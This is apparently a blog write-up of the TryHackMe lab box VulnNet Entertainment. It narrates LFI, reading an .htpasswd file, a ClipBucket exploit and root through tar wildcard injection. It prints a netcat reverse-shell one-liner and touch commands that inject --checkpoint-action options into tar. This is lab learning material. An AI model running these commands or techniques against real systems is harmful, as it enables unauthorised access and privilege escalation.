THM: VulnNet Entertainment

J

New year, new room. Time to get back into the rhythm with VulnNet Entertainment, a solid medium-difficulty TryHackMe box that combines web exploitation, patience, and a privilege escalation technique I hadn’t abused before.

NMAP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
|_http-title: VulnNet
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing exotic here: SSH and a web server. That immediately tells me this box will likely revolve around web exploitation leading to SSH or local privilege escalation.

HTTP (80)

The main website was very basic — no obvious functionality, no interesting forms:

Directory & content discovery

  • Gobuster → nothing useful
  • ffuf → found a subdomain: broadcast.vulnnet.thm

This returned a 401 Unauthorized, and browsing to it revealed a login page. At this point I had:

  • A login page
  • No confirmed usernames
  • No obvious functionality to abuse

    Initial testing & dead ends

    I briefly considered brute-forcing the login on the broadcast subdomain using Hydra, but once I saw how slow it would be — and with no confidence in the username — I decided not to tunnel-vision on it.

    I also:

    • Tried a few basic SQLi payloads → no result
    • Checked default credentials → no luck

    Time to step back and look deeper.

    Finding the entry point

    Digging further into the JavaScript and page behavior, one thing stood out: a parameter on the main page that looked user-controlled.

    I fired up Burp, intercepted the request, and started replaying it. After some trial and error, it became clear: Local File Inclusion (LFI)

    At first, this didn’t immediately give me anything useful. Reading files like:

    • index.php
    • signup.php

    didn’t reveal credentials, but it did tell me something important:

    The application is running ClipBucket 4.0

    A quick lookup showed known vulnerabilities, including one listed on Exploit-DB:

    However, I couldn’t directly reach the vulnerable functionality yet. Back to thinking like the system. Apache often stores HTTP authentication credentials in predictable locations. One common file stood out: /etc/apache2/.htpasswd Including this file via LFI worked — and it contained a password hash:

    Cracking it with John the Ripper finally gave me valid credentials.

    At last: authenticated access.

    Exploitation

    With valid credentials, I revisited the ClipBucket exploit.

    • There is a Metasploit module available:
    • There are also community Python scripts on GitHub:

    I chose to go manual first to understand what was happening. At first, nothing worked — until I realized I had mistyped the password.
    Once corrected, the exploit succeeded and I landed a shell.

    Lesson learned (again):

    Sometimes it’s not the exploit — it’s you.

    Post-exploitation & Enumeration

    After stabilizing the shell, I confirmed I was running as: www-data Very restricted — so enumeration was key. I ran LinPEAS, which highlighted something interesting:

    • A readable SSH backup file belonging to the user server-management

    Cracking that backup gave me valid SSH credentials.

    Now we have:

    • A real user
    • A stable SSH session

    Time to go for root.

    Privilege Escalation

    LinPEAS had earlier flagged a backup script in:

    The script looked harmless at first:

    #!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

    But this is where it gets interesting.

    Tar wildcard injection

    Because * is used, any file starting with -- will be interpreted by tar as a command-line option. That means we can inject arguments. I created:

    • A reverse shell script
    • Specially named files to trigger tar’s checkpoint execution
    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.136.183 4444 >/tmp/f" > /home/server-management/Documents/shell.sh
touch "/home/server-management/Documents/--checkpoint=1"
touch "/home/server-management/Documents/--checkpoint-action=exec=/bin/sh shell.sh"

    With a listener running, the backup script did the rest. Root shell achieved:

    Learning notes

    • LFI is often a stepping stone, not the final exploit
    • When stuck, think like the underlying service (Apache in this case)
    • Tar wildcard injection is powerful and easy to miss
    • Enumeration matters more than rushing exploits
    • Small mistakes (like a typo) can cost a lot of time

    Related Posts